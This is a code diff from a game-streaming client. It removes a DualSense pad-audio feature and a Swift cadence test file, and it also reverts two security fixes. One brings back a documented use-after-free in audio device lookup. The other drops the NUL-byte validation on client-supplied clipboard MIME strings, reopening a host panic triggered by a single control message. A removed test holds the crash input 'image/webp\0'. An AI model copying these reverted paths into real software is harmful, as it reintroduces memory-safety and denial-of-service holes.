public func renderTick(targetMediaTime: CFTimeInterval, period: CFTimeInterval) {
vsyncClock.set(target: targetMediaTime, period: period)
// The link's own reported period is the authoritative grid for the cadence statistic
// it tracks VRR rate changes, which a mode-derived seed cannot.
presentStats?.setPanelPeriod(ns: Int64(period * 1_000_000_000))
renderSignal.signal()
}
@@ -1,170 +0,0 @@
// Parity tests for the Swift `PresentIntervals` port (Video/Stage2Pipeline.swift) against
// `punktfunk_core::phase::PresentIntervals` the cadence (judder) statistic of
// design/presenter-cadence-rework.md WP1.
//
// These are deliberately the SAME cases and the SAME vectors as the Rust unit tests in
// crates/punktfunk-core/src/phase.rs (module `cadence_tests`). WP1's acceptance criterion is that
// all three clients emit the same numbers for the same synthetic input, and a hand-written port is
// exactly where that quietly stops being true so the port is pinned here rather than trusted.
//
// If you change one side, change both, and keep the vectors identical.
import Foundation
import XCTest
@testable import PunktfunkKit
final class PresentIntervalsTests: XCTestCase {
/// 120 Hz in ns the Rust tests' `P`.
private static let P: Int64 = 8_333_333
/// Fold `n` presents spaced by `spacings` in rotation, starting at an arbitrary instant.
/// Mirrors the Rust helper of the same shape.
private func cadence(_ spacings: [Int64], _ n: Int, period: Int64 = P) -> PresentIntervals {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
pi.record(presentNs: t, periodNs: period)
for i in 0..<n {
t += spacings[i % spacings.count]
pi.record(presentNs: t, periodNs: period)
}
return pi
}
func testARegularCadenceHasNoJudder() {
let s = cadence([Self.P], 60).summary()
XCTAssertEqual(s?.modeUnits, 1)
XCTAssertEqual(s?.judderPermille, 0)
XCTAssertEqual(s?.samples, 60)
}
/// The property that makes this one ruler across rates: a stream at half (or a quarter of)
/// the panel rate is SMOOTH, not judder the mode absorbs the cadence ratio.
func testSixtyOnOneTwentyReadsSmooth() {
for (mult, expected) in [(Int64(2), 2), (Int64(4), 4)] {
let s = cadence([Self.P * mult], 40).summary()
XCTAssertEqual(s?.modeUnits, expected)
XCTAssertEqual(s?.judderPermille, 0)
}
}
/// D3's signature: the same mean spacing as a steady 2, delivered as alternating 1 and 3.
/// Identical average frame rate, identical latency percentiles this is the broken-looking one.
///
/// Also pins the TIE-BREAK. The histogram is 50/50 here, and Rust's `max_by_key` takes the
/// last maximum while Swift's `max(by:)` takes the first, so both sides spell the rule out:
/// ties resolve to the smallest spacing.
func testTheSawtoothThatLatencyStatsCannotSee() {
let s = cadence([Self.P, Self.P * 3], 40).summary()
XCTAssertEqual(s?.judderPermille, 500)
XCTAssertEqual(s?.modeUnits, 1, "a tied mode resolves to the smallest spacing")
}
/// Sub-refresh jitter is not judder: the display quantises it away, so the metric must too.
func testJitterInsideARefreshIsNotJudder() {
let s = cadence([Self.P + Self.P * 2 / 5, Self.P - Self.P * 2 / 5], 40).summary()
XCTAssertEqual(s?.modeUnits, 1)
XCTAssertEqual(s?.judderPermille, 0)
}
func testAStallIsCountedApartFromJudder() {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
pi.record(presentNs: t, periodNs: Self.P)
for _ in 0..<20 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
t += Self.P * 400 // a pause, not a pacing defect
pi.record(presentNs: t, periodNs: Self.P)
let s = pi.summary()
XCTAssertEqual(s?.judderPermille, 0)
XCTAssertEqual(s?.stalls, 1)
XCTAssertEqual(s?.samples, 20)
}
func testOutOfOrderCallbacksDoNotCorruptTheRun() {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
pi.record(presentNs: t, periodNs: Self.P)
for _ in 0..<10 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
pi.record(presentNs: t - Self.P * 3, periodNs: Self.P) // a late/duplicate delivery
for _ in 0..<10 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
let s = pi.summary()
XCTAssertEqual(s?.disordered, 1)
XCTAssertEqual(
s?.judderPermille, 0,
"keeping the later instant means the following spacings stay on the grid")
}
/// The on-glass failure of 2026-08-05, pinned on both sides. A render callback can deliver a
/// garbage far-future timestamp on a session's first frames; holding "the later instant"
/// unconditionally latched onto it and scored EVERY subsequent present as disordered for the
/// whole session. One bad sample must cost one sample.
func testAGarbageFarFutureStampDoesNotWedgeTheRun() {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
pi.record(presentNs: t, periodNs: Self.P)
pi.record(presentNs: t + 60 * 60 * 1_000_000_000, periodNs: Self.P)
for _ in 0..<20 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
let s = pi.summary()
XCTAssertEqual(s?.disordered, 1, "the garbage stamp cost exactly one sample")
XCTAssertEqual(s?.modeUnits, 1)
XCTAssertEqual(s?.judderPermille, 0)
XCTAssertEqual(s?.samples, 19, "every present after the re-anchor scored")
}
func testAnUnknownGridScoresNothing() {
var pi = PresentIntervals()
var t: Int64 = 1_000_000_000
for _ in 0..<60 {
t += Self.P
pi.record(presentNs: t, periodNs: 0) // no learned period yet
}
XCTAssertNil(pi.summary())
XCTAssertNotNil(cadence([Self.P], 60).summary(), "control")
}
func testAShortWindowPublishesNothing() {
XCTAssertNil(cadence([Self.P], 5).summary())
}
/// The cadence continues across a window boundary dropping the predecessor on drain would
/// silently discard one interval per window, every window.
func testTakeResetsTheCountsButNotTheCadence() {
var pi = cadence([Self.P], 20)
XCTAssertNotNil(pi.take())
XCTAssertNil(pi.summary(), "counts cleared")
var t: Int64 = 1_000_000_000 + Self.P * 20
for _ in 0..<10 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
XCTAssertEqual(
pi.summary()?.samples, 10,
"the first post-drain present scored against the pre-drain one")
}
func testSplitForgetsThePredecessor() {
var pi = cadence([Self.P], 20)
_ = pi.take()
pi.split()
var t: Int64 = 5_000_000_000 // a discontinuity: the gap across it is meaningless
for _ in 0..<10 {
t += Self.P
pi.record(presentNs: t, periodNs: Self.P)
}
let s = pi.summary()
XCTAssertEqual(s?.samples, 9)
XCTAssertEqual(s?.stalls, 0, "the gap was not scored at all")
}
}
-11
View File
@@ -286,12 +286,6 @@ mod session_main {
// Spawned at first params-build so it exists for --connect AND console launches.
#[cfg(unix)]
crate::ctl_socket::spawn(gamepad.clone());
// Pad-audio prefs to OUR gamepad service (same reasoning as the pin above): tier-A
// slots declare their render caps at open time, which happens on attach — after this.
gamepad.set_pad_audio_prefs(
settings.pad_haptics,
pf_client_core::pad_audio::speaker_active(&settings.pad_speaker),
);
let mode = Mode {
width: if settings.width == 0 {
native.width
@@ -395,11 +389,6 @@ mod session_main {
cursor_forward: settings.mouse_mode() == trust::MouseMode::Desktop,
mic_enabled: settings.mic_enabled,
echo_cancel: settings.echo_cancel,
// Pad audio (0xD1): the DualSense haptics/speaker render settings. The gamepad
// service learns the same prefs below so tier-A slots declare their render caps
// at open; the session pump gates CLIENT_CAP_PAD_AUDIO + the renderer on these.
pad_haptics: settings.pad_haptics,
pad_speaker: settings.pad_speaker.clone(),
clipboard,
// The Settings preference (auto → VAAPI where it exists; the presenter
// demotes to software on boxes whose Vulkan can't import the dmabufs).
-4
View File
@@ -57,10 +57,6 @@ sdl3 = { version = "0.18", features = ["hidapi"] }
[target.'cfg(windows)'.dependencies]
wasapi = "0.23"
# Pad-audio correlation (pad_audio.rs): the HID devnode's ContainerID and a render endpoint's
# stamped PKEY_Device_ContainerId both live in the registry — read-only, which sidesteps COM
# property stores entirely (the same version the host pins).
winreg = "0.56"
sdl3 = { version = "0.18", features = ["hidapi", "build-from-source"] }
# D3D11VA decode (video_d3d11.rs): device/adapter selection, DXVA probes, and the shared
# NT-handle hand-off ring. Same pinned rev as clients/windows so the workspace builds ONE
+1 -31
View File
@@ -98,43 +98,13 @@ pub fn devices() -> Result<(Vec<AudioDevice>, Vec<AudioDevice>)> {
/// Settings device pickers via session main), or the OS default. A picked device that's
/// gone (unplugged USB DAC, remote session) falls back to the default with a warning —
/// audio keeps working, like the PipeWire twin's `target.object` behavior.
/// Resolve an active endpoint by id WITHOUT `DeviceEnumerator::get_device`.
///
/// That helper builds its argument as `PCWSTR::from_raw(HSTRING::from(id).as_ptr())` — the
/// `HSTRING` is a temporary, dropped at the end of that statement, so `GetDevice` reads freed
/// memory and misses ids that are perfectly valid. Scanning the active collection touches only
/// safe crate APIs, so it cannot regress the same way. (`punktfunk-host` fixes the same bug with
/// raw COM instead; this crate cannot, because it pins a different `windows` revision than
/// `wasapi` does, making the two `IMMDevice` types incompatible.)
pub(crate) fn device_by_id(
enumerator: &DeviceEnumerator,
direction: &Direction,
id: &str,
) -> Result<wasapi::Device> {
let devices = enumerator
.get_device_collection(direction)
.map_err(|e| anyhow!("enumerate {direction:?} endpoints: {e}"))?;
let count = devices
.get_nbr_devices()
.map_err(|e| anyhow!("endpoint count: {e}"))?;
for i in 0..count {
let dev = devices
.get_device_at_index(i)
.map_err(|e| anyhow!("endpoint {i}: {e}"))?;
if dev.get_id().is_ok_and(|got| got == id) {
return Ok(dev);
}
}
anyhow::bail!("no active {direction:?} endpoint with id {id}")
}
fn pick_device(
enumerator: &DeviceEnumerator,
direction: &Direction,
var: &str,
) -> Result<wasapi::Device> {
if let Some(id) = std::env::var(var).ok().filter(|v| !v.is_empty()) {
match device_by_id(enumerator, direction, &id) {
match enumerator.get_device(&id) {
Ok(d) => {
tracing::info!(
var,
+3 -193
View File
@@ -369,14 +369,8 @@ enum Ctl {
Pin(Option<String>),
KindOverride(GamepadPref),
Forwarding(bool),
SystemButtons {
forward_raw: bool,
gesture: bool,
},
SystemButtons { forward_raw: bool, gesture: bool },
TapButton(u32),
/// Which pad-audio streams the session's settings want rendered (bit0 = haptics, bit1 =
/// speaker) — the settings half of the per-pad tier-A capability declared at slot open.
PadAudioPrefs(u8),
MenuMode(bool),
MenuRumble(MenuPulse),
}
@@ -579,18 +573,6 @@ impl GamepadService {
let _ = self.ctl.send(Ctl::TapButton(wire::BTN_MISC1));
}
/// Declare which pad-audio streams this session's settings want rendered (`haptics` =
/// [`Settings::pad_haptics`](crate::trust::Settings::pad_haptics), `speaker` =
/// `pad_speaker == "pad"` via [`crate::pad_audio::speaker_active`]). Drives the per-pad
/// tier-A capability bits declared to the core at slot open — a WIRED DualSense/Edge
/// declares exactly these; every other pad declares 0. Call before [`Self::attach`],
/// like [`Self::set_kind_override`]: slots declare at open time. Defaults to "nothing"
/// for an embedder that never calls it, keeping the wire bytes exactly as before.
pub fn set_pad_audio_prefs(&self, haptics: bool, speaker: bool) {
let bits = (haptics as u8) | ((speaker as u8) << 1);
let _ = self.ctl.send(Ctl::PadAudioPrefs(bits));
}
pub fn attach(&self, connector: Arc<NativeClient>) {
let _ = self.ctl.send(Ctl::Attach(connector));
}
@@ -764,8 +746,6 @@ impl Ds5Feedback {
/// The USB report offsets these are derived from — see the type doc. Kept beside the derived
/// values so the subtraction is visible at the point of definition.
const REPORT_ID_LEN: usize = 1;
/// The audio-control region (`ucHeadphoneVolume`…`ucAudioMuteBits`): report byte 5.
const AUDIO: usize = 5 - Self::REPORT_ID_LEN;
const RIGHT_TRIGGER: usize = 11 - Self::REPORT_ID_LEN;
const LEFT_TRIGGER: usize = 22 - Self::REPORT_ID_LEN;
const PAD_LIGHTS: usize = 44 - Self::REPORT_ID_LEN;
@@ -802,29 +782,6 @@ impl Ds5Feedback {
p[Self::PAD_LIGHTS] = bits & 0x1F;
p
}
/// The one-shot tier-A activation packet — the SDL disable-bit trap undone. `p[0]`
/// (`ucEnableBits1`) bit0 = "enable rumble emulation" and bit1 = "disable audio haptics"
/// (SDL_hidapi_ps5.c); SDL sets BOTH whenever its rumble path runs, which mutes the very
/// voice coils the 0xD1 haptics stream drives. Per SDL's own comment — "Leaving emulated
/// rumble bits off will restore audio haptics" — a packet with those bits CLEARED (and no
/// other valid flag, so nothing else is touched) puts the pad back on audio haptics.
fn audio_haptics_packet() -> [u8; 47] {
[0u8; 47]
}
/// Fold a host [`HidOutput::AudioCtl`] into an effects packet: `raw` is DS5 output report
/// `0x02` bytes 5..=10 verbatim → struct offsets 4..=9 ([`Self::AUDIO`] — headphone/
/// speaker/mic volumes + routing), and `p[0]` re-asserts the report's audio-valid flags
/// (`flags` bits1..4 = report `flag0` bits 4..7). `flags` bit0 (haptics-select, `flag0`
/// bit1 = SDL's "disable audio haptics") is deliberately NOT replayed: bits 0/1 stay
/// clear so the pad's audio haptics stay live (see [`audio_haptics_packet`]).
fn audio_ctl_packet(flags: u8, raw: &[u8; 6]) -> [u8; 47] {
let mut p = [0u8; 47];
p[0] = (flags & 0x1E) << 3;
p[Self::AUDIO..Self::AUDIO + 6].copy_from_slice(raw);
p
}
}
/// One forwarded controller during an attached session: the open SDL handle, its stable wire
@@ -861,14 +818,6 @@ struct Slot {
/// Hold-Select→guide state ([`SelectGesture`]) — only fed while the worker's
/// `guide_gesture` policy is on.
gesture: SelectGesture,
/// Pad-audio render capabilities declared for this slot (bit0 = haptics, bit1 = speaker
/// — the [`NativeClient::set_pad_audio_caps`] bits). Nonzero only for a tier-A pad (a
/// WIRED DualSense/Edge, see [`crate::pad_audio::is_tier_a_ds5`]) under matching
/// settings; bit0 set additionally suppresses wire rumble for this slot (the SDL
/// disable-bit trap — see [`Worker::render_feedback`]).
audio_caps: u8,
/// The wire-rumble-suppressed notice fired for this slot (log once, not per command).
rumble_suppressed_logged: bool,
}
impl Slot {
@@ -885,8 +834,6 @@ impl Slot {
held_clicks: [false; 2],
last_accel: [0; 3],
gesture: SelectGesture::default(),
audio_caps: 0,
rumble_suppressed_logged: false,
}
}
@@ -1024,10 +971,6 @@ struct Worker {
/// Releases owed for synthetic taps ([`Ctl::TapButton`]): `(pad, bit, due)` — the
/// down went out on receipt, the up goes out from the poll once `due` passes.
synthetic_ups: Vec<(u8, u32, Instant)>,
/// Pad-audio streams the session's settings want rendered (bit0 = haptics, bit1 =
/// speaker — [`GamepadService::set_pad_audio_prefs`]). `0` (the default) until an embedder
/// declares some: tier-A detection then never runs and every arrival stays caps-less.
pad_audio_prefs: u8,
attached: Option<Arc<NativeClient>>,
/// Raises the UI escape signal; the escape chord fires it once per press.
escape_tx: async_channel::Sender<()>,
@@ -1233,18 +1176,11 @@ impl Worker {
Ok(pad) => {
let mut slot = Slot::new(id, index, pref, pad);
Self::set_slot_sensors(&mut slot, true);
slot.audio_caps = self.pad_audio_caps_for(id, &slot.pad);
// Declare this pad's kind BEFORE any of its input, so the host builds a matching
// virtual device (mixed types — pad 0 a DualSense, pad 1 an Xbox pad). The core
// re-sends it a few times against datagram loss; an older host ignores it and
// uses the session-default kind.
if let Some(c) = &self.attached {
// Pad-audio render caps go in FIRST — the core ORs them into this (and
// every re-sent) arrival's flags bits 8/9 toward a capable host. ALWAYS
// set (0 for non-tier-A): wire indices are reused within a connection, so
// a tier-A slot that closes must not leave its bits behind for the next
// pad on the same index (the set_rumble_quirks rule).
c.set_pad_audio_caps(index, slot.audio_caps);
send(
c,
InputKind::GamepadArrival,
@@ -1267,27 +1203,6 @@ impl Worker {
};
c.set_rumble_quirks(index as u16, quirks);
}
if slot.audio_caps != 0 {
if slot.audio_caps & 0x01 != 0 {
// Tier-A haptics activation: the SDL disable-bit trap. SDL's DS5
// driver sets ucEnableBits1 0x01|0x02 ("enable rumble emulation" +
// "disable audio haptics") whenever its rumble path runs — which
// would MUTE the voice coils the 0xD1 stream drives. One effects
// packet with those bits CLEARED puts the pad back on audio haptics
// ("Leaving emulated rumble bits off will restore audio haptics" —
// SDL_hidapi_ps5.c); wire rumble for this slot is suppressed in
// render_feedback so SDL never re-arms them.
let _ = slot.pad.send_effect(&Ds5Feedback::audio_haptics_packet());
}
// Hand the pad to the session's renderer worker. Windows correlation
// needs the HID interface path; Linux matches the sink by signature.
crate::pad_audio::register_tier_a(index, slot.pad.path());
tracing::info!(
index,
caps = slot.audio_caps,
"tier-A DualSense: pad-audio render caps declared"
);
}
tracing::info!(
id,
index,
@@ -1301,35 +1216,6 @@ impl Worker {
}
}
/// This pad's pad-audio render capabilities (the bits [`NativeClient::set_pad_audio_caps`]
/// takes): the settings prefs for a tier-A pad — a physical DualSense/Edge (by VID:PID,
/// never the DECLARED kind: the stream renders on the controller in the user's hands) on
/// a WIRED connection — and `0` for everything else (tier B/C are out of scope). Wired
/// comes from `SDL_GetGamepadConnectionState`; when SDL answers Unknown, the pad's 4-ch
/// audio sibling existing is the fallback signal (Bluetooth exposes no audio device).
fn pad_audio_caps_for(&self, id: u32, pad: &sdl3::gamepad::Gamepad) -> u8 {
if self.pad_audio_prefs == 0 {
return 0; // nothing wanted — skip the (possibly probing) wired check entirely
}
let jid = sdl3::sys::joystick::SDL_JoystickID(id);
let vid = self.subsystem.vendor_for_id(jid).unwrap_or(0);
let pid = self.subsystem.product_for_id(jid).unwrap_or(0);
if !crate::pad_audio::is_tier_a_ds5(vid, pid, true) {
return 0; // not a DualSense/Edge — no wired check needed
}
use sdl3::joystick::ConnectionState;
let wired = match pad.connection_state() {
Ok(ConnectionState::Wired) => true,
Ok(ConnectionState::Wireless) => false,
_ => crate::pad_audio::wired_audio_sibling(pad.path().as_deref()),
};
if crate::pad_audio::is_tier_a_ds5(vid, pid, wired) {
self.pad_audio_prefs
} else {
0
}
}
/// Flush a slot's held wire state (so nothing sticks down host-side) and drop it — closing
/// the SDL handle. The flush only emits wire events, so it is safe even when the device is
/// already gone (unplug).
@@ -1347,11 +1233,6 @@ impl Worker {
send(&c, InputKind::GamepadRemove, 0, 0, self.slots[i].index);
}
let slot = self.slots.remove(i);
if slot.audio_caps != 0 {
// Take the pad back from the pad-audio renderer (its device-gone path then
// re-correlates — and finds nothing until a tier-A pad registers again).
crate::pad_audio::unregister_tier_a(slot.index);
}
tracing::info!(
id = slot.id,
index = slot.index,
@@ -1773,7 +1654,6 @@ impl Worker {
set_valve_hidapi(false);
}
}
Ok(Ctl::PadAudioPrefs(bits)) => self.pad_audio_prefs = bits & 0x03,
Ok(Ctl::MenuMode(on)) => {
self.menu_mode = on;
if on {
@@ -2086,20 +1966,6 @@ impl Worker {
// first; the physical silence backstop is in `close_slot_at`).
while let Ok(cmd) = connector.next_rumble_command(Duration::ZERO) {
if let Some(slot) = self.slots.iter_mut().find(|s| s.index as u16 == cmd.pad) {
// The SDL disable-bit trap: ANY SDL rumble write sets ucEnableBits1
// 0x01|0x02, muting the very voice coils the 0xD1 haptics stream drives —
// so a slot with tier-A haptics active never issues wire rumble (the stream
// carries the feedback; the game's rumble is in its haptics mix).
if slot.audio_caps & 0x01 != 0 {
if !slot.rumble_suppressed_logged {
slot.rumble_suppressed_logged = true;
tracing::info!(
pad = slot.index,
"wire rumble suppressed — the pad-audio haptics stream carries feedback"
);
}
continue;
}
Self::issue_rumble(slot, cmd.low, cmd.high, cmd.backstop_ms);
}
}
@@ -2137,27 +2003,13 @@ impl Worker {
.pad
.send_effect(&Ds5Feedback::trigger_packet(which, effect));
}
// The audio-control region of a DS5 output report a game wrote host-side
// (volumes + routing; the SAMPLES ride 0xD1) — folded back into the physical
// pad's effects packet, but only where a tier-A renderer is actually live
// (`audio_caps`): replaying speaker volumes at a pad whose audio device
// nothing streams to would just mute/blast a future session's start state.
// Non-tier-A pads keep dropping it (the pre-pad-audio behaviour).
HidOutput::AudioCtl { flags, raw, .. } if is_ds && slot.audio_caps != 0 => {
let _ = slot
.pad
.send_effect(&Ds5Feedback::audio_ctl_packet(flags, &raw));
}
// Deliberately unhandled, listed rather than left to a bare `_` so a new
// variant cannot join them silently: adaptive triggers exist only on a
// DualSense, and the trackpad-haptic / raw-passthrough planes are DS-specific
// and carried by `send_effect` above when the pad is one. `AudioCtl` lands here
// only when the guarded arm above declined it — a non-DualSense pad, or one with
// no live tier-A renderer — which is the pre-pad-audio behaviour: drop it.
// and carried by `send_effect` above when the pad is one.
HidOutput::Trigger { .. }
| HidOutput::TrackpadHaptic { .. }
| HidOutput::HidRaw { .. }
| HidOutput::AudioCtl { .. } => {}
| HidOutput::HidRaw { .. } => {}
}
}
}
@@ -2196,9 +2048,6 @@ fn hidout_pad(h: &HidOutput) -> u8 {
| HidOutput::Trigger { pad, .. }
| HidOutput::TrackpadHaptic { pad, .. }
| HidOutput::HidRaw { pad, .. } => *pad,
// AudioCtl's pad is the plane's only u16. `HidOutput::decode` rejects anything at or
// above MAX_PADS (B27), so by the time one reaches here the narrowing is lossless.
HidOutput::AudioCtl { pad, .. } => *pad as u8,
}
}
@@ -2226,7 +2075,6 @@ impl Worker {
system_forward: true,
guide_gesture: false,
synthetic_ups: Vec::new(),
pad_audio_prefs: 0,
attached: None,
escape_tx,
disconnect_tx,
@@ -2672,44 +2520,6 @@ mod slot_tests {
}),
6
);
// AudioCtl's wire pad is u16; the index space is 0..MAX_PADS end to end.
assert_eq!(
hidout_pad(&HidOutput::AudioCtl {
pad: 7,
flags: 0,
raw: [0; 6]
}),
7
);
}
/// The AudioCtl fold: the 6 raw bytes (DS5 report 0x02 bytes 5..=10) land at effect-struct
/// offsets 4..=9, the report's audio-valid flags (AudioCtl.flags bits1..4) come back as
/// p[0] bits 4..7, and the rumble-emulation / disable-audio-haptics bits (p[0] bits 0/1)
/// stay CLEAR — setting either would mute the voice coils the 0xD1 stream drives.
#[test]
fn audio_ctl_folds_report_bytes_into_effect_offsets() {
let raw = [0x50, 0x60, 0x70, 0x05, 0x11, 0x22];
// flags 0b1_0111: haptics-select (bit0) + audio-valid bits 1/2/4 of the condensed form.
let p = Ds5Feedback::audio_ctl_packet(0b1_0111, &raw);
assert_eq!(&p[4..10], &raw, "report bytes 5..=10 → struct 4..=9");
// bits1..4 (0b1011) → flag0 bits 4..7.
assert_eq!(p[0], 0b1011_0000);
assert_eq!(
p[0] & 0x03,
0,
"haptics-select must NOT replay into p[0] bits 0/1"
);
// Nothing else is touched: no trigger/LED enable bits, no stray bytes.
assert!(p[1..4].iter().all(|&b| b == 0));
assert!(p[10..].iter().all(|&b| b == 0));
// No audio-valid flags condenses to no enable bits (raw still carried verbatim).
let p = Ds5Feedback::audio_ctl_packet(0b0_0001, &raw);
assert_eq!(p[0], 0);
assert_eq!(&p[4..10], &raw);
// The tier-A activation packet is the all-clear: every enable bit off — per
// SDL_hidapi_ps5.c, leaving the emulated-rumble bits off restores audio haptics.
assert_eq!(Ds5Feedback::audio_haptics_packet(), [0u8; 47]);
}
}
-5
View File
@@ -47,11 +47,6 @@ pub mod os;
// Client settings profiles: the override catalog + the one connect-time resolver
// (design/client-settings-profiles.md §4). Sits beside `trust`, which owns the host records
// the bindings live on.
// Pad audio (the 0xD1 plane): DualSense voice-coil haptics + speaker rendered on the wired
// physical pad's own 4-ch audio device — correlation, the per-session renderer worker, and
// the tier-A pad registry the gamepad worker feeds it through.
#[cfg(any(target_os = "linux", windows))]
pub mod pad_audio;
#[cfg(any(target_os = "linux", windows))]
pub mod profiles;
#[cfg(any(target_os = "linux", windows))]
File diff suppressed because it is too large Load Diff
-35
View File
@@ -44,14 +44,6 @@ pub struct SessionParams {
/// Run the uplink through the platform's echo cancellation ([`Settings::echo_cancel`]).
/// Ignored when `mic_enabled` is false; `PUNKTFUNK_NO_AEC=1` overrides it off.
pub echo_cancel: bool,
/// Render the host's per-pad DualSense voice-coil haptics stream (0xD1 kind 0) on a wired
/// physical DualSense ([`crate::trust::Settings::pad_haptics`]). With `pad_speaker` it
/// gates the `CLIENT_CAP_PAD_AUDIO` advertisement and the pad-audio renderer thread.
pub pad_haptics: bool,
/// Where the DualSense built-in-speaker stream (0xD1 kind 1) goes: `"pad"` | `"mix"` |
/// `"off"` ([`crate::trust::Settings::pad_speaker`]; `"mix"` is a TODO that renders as
/// off — see [`crate::pad_audio::speaker_active`]).
pub pad_speaker: String,
/// Share the clipboard with this host (the per-host `KnownHost::clipboard_sync`). The
/// bridge additionally needs the host to advertise `HOST_CAP_CLIPBOARD`.
pub clipboard: bool,
@@ -364,11 +356,6 @@ fn pump(
);
}
}
// Pad audio (0xD1): advertise only when the settings could render a stream — the per-pad
// tier-A detection at slot open (gamepad.rs) still decides which pads declare render caps
// on their arrivals, so this bit alone changes nothing without a wired DualSense.
let pad_speaker_on = crate::pad_audio::speaker_active(&params.pad_speaker);
let pad_audio_on = params.pad_haptics || pad_speaker_on;
let connector = match NativeClient::connect(
&params.host,
params.port,
@@ -392,11 +379,6 @@ fn pump(
0
}) | (if params.phase_lock {
punktfunk_core::quic::CLIENT_CAP_PHASE_LOCK
} else {
0
// PAD_AUDIO: the embedder can render per-pad DualSense haptics/speaker (see above).
}) | (if pad_audio_on {
punktfunk_core::quic::CLIENT_CAP_PAD_AUDIO
} else {
0
}),
@@ -519,20 +501,6 @@ fn pump(
// app-lifetime service's job (the UI attaches it on Connected). Audio runs on its own
// thread (one puller per plane), blocking on the audio queue like the Apple client.
let audio_thread = spawn_audio(connector.clone(), stop.clone());
// Pad audio (0xD1): its own drain thread (that plane's single consumer), spawned whenever
// the settings could render. The output device is opened LAZILY once frames actually
// arrive — which only happens after a tier-A pad declared render caps on its arrival — so
// a session without a wired DualSense costs one idle 10 ms poll loop.
let pad_audio_thread = pad_audio_on
.then(|| {
crate::pad_audio::spawn(
connector.clone(),
stop.clone(),
params.pad_haptics,
pad_speaker_on,
)
})
.flatten();
// The shared clipboard (design/clipboard-and-file-transfer.md §5): its own thread, since
// `next_clip` blocks and the OS clipboard calls can wait on other apps. Returns straight
// away when the host has no clipboard capability, so spawning is unconditional.
@@ -1098,9 +1066,6 @@ fn pump(
if let Some(t) = audio_thread {
let _ = t.join(); // exits within its 100 ms pull timeout once `stop` is set
}
if let Some(t) = pad_audio_thread {
let _ = t.join(); // exits within its 10 ms pull timeout once `stop` is set
}
if let Some(t) = clipboard_thread {
let _ = t.join(); // exits within its next_clip wait once `stop` is set
}
-21
View File
@@ -1024,21 +1024,6 @@ pub struct Settings {
/// `PUNKTFUNK_AUDIO_SOURCE`).
#[serde(default)]
pub mic_device: String,
/// Render the host's per-pad DualSense voice-coil haptics stream (the 0xD1 plane, kind 0)
/// on a WIRED physical DualSense's own audio device (tier A — Bluetooth pads expose no
/// audio device). Gates the `CLIENT_CAP_PAD_AUDIO` advertisement and the per-pad arrival
/// capability bit; wire rumble is suppressed for a pad whose haptics stream is live (the
/// stream carries the feedback — see `gamepad.rs`, the SDL disable-bit trap). Default ON:
/// the capable-and-agreed negotiation means it changes nothing without a capable host AND
/// a wired DS5. `default` so pre-existing stores load with it on.
#[serde(default = "default_true")]
pub pad_haptics: bool,
/// Where the DualSense built-in-speaker stream (0xD1 kind 1) is rendered: `"pad"` (default
/// — the physical pad's own speaker), `"mix"` (fold it into the main stream audio — a
/// declared TODO that renders as `"off"` today; see `pad_audio::speaker_active`), or
/// `"off"`. `default` so pre-existing stores load as `"pad"`.
#[serde(default = "default_pad_speaker")]
pub pad_speaker: String,
/// Match-window resolution policy (design/midstream-resolution-resize.md D1): the
/// stream mode follows the session window — the connect asks for the window's pixel
/// size and a mid-session resize renegotiates the host's virtual display + encoder
@@ -1086,10 +1071,6 @@ fn default_true() -> bool {
true
}
fn default_pad_speaker() -> String {
"pad".into()
}
impl Settings {
/// The stats-overlay tier, resolving pre-tier stores: an old `show_stats = false`
/// reads as Off, everything else as Normal (≈ what the pre-tier overlay showed).
@@ -1198,8 +1179,6 @@ impl Default for Settings {
invert_scroll: false,
speaker_device: String::new(),
mic_device: String::new(),
pad_haptics: true,
pad_speaker: "pad".into(),
match_window: false,
last_window_w: 0,
last_window_h: 0,
+1 -61
View File
@@ -309,24 +309,6 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> {
out
}
/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument.
///
/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the
/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type.
/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does.
#[cfg(target_os = "linux")]
fn valid_passthrough_mime(m: &str) -> bool {
let Some((ty, rest)) = m.split_once('/') else {
return false;
};
!ty.is_empty()
&& !rest.is_empty()
&& m.len() <= 255
// 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and
// any non-ASCII byte.
&& m.bytes().all(|b| (0x21..=0x7E).contains(&b))
}
/// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME
/// expands to its canonical Wayland name(s); a rich-text-only offer also advertises `text/plain`
/// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only).
@@ -360,17 +342,7 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec<String> {
WIRE_PNG => push("image/png"),
WIRE_JPEG => push("image/jpeg"),
WIRE_GIF => push("image/gif"),
// A MIME we don't canonicalize is passed through verbatim — so it is the one value on
// this path the CLIENT fully controls, and it ends up as a Wayland string argument.
// The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it,
// so a single interior NUL turns one control message into a host clipboard panic
// (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so
// nothing upstream removes it. Validate here, at the boundary where the value stops
// being ours and becomes libwayland's.
other if valid_passthrough_mime(other) => push(other),
other => {
tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME");
}
other => push(other),
}
}
// Synthesis: rich text without plain text → also advertise plain (the source derives it lazily).
@@ -417,38 +389,6 @@ mod tests {
assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]);
}
/// One control message must not be able to panic the host clipboard coordinator
/// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a
/// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it.
#[test]
fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() {
// The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire.
assert!(!valid_passthrough_mime("image/webp\0"));
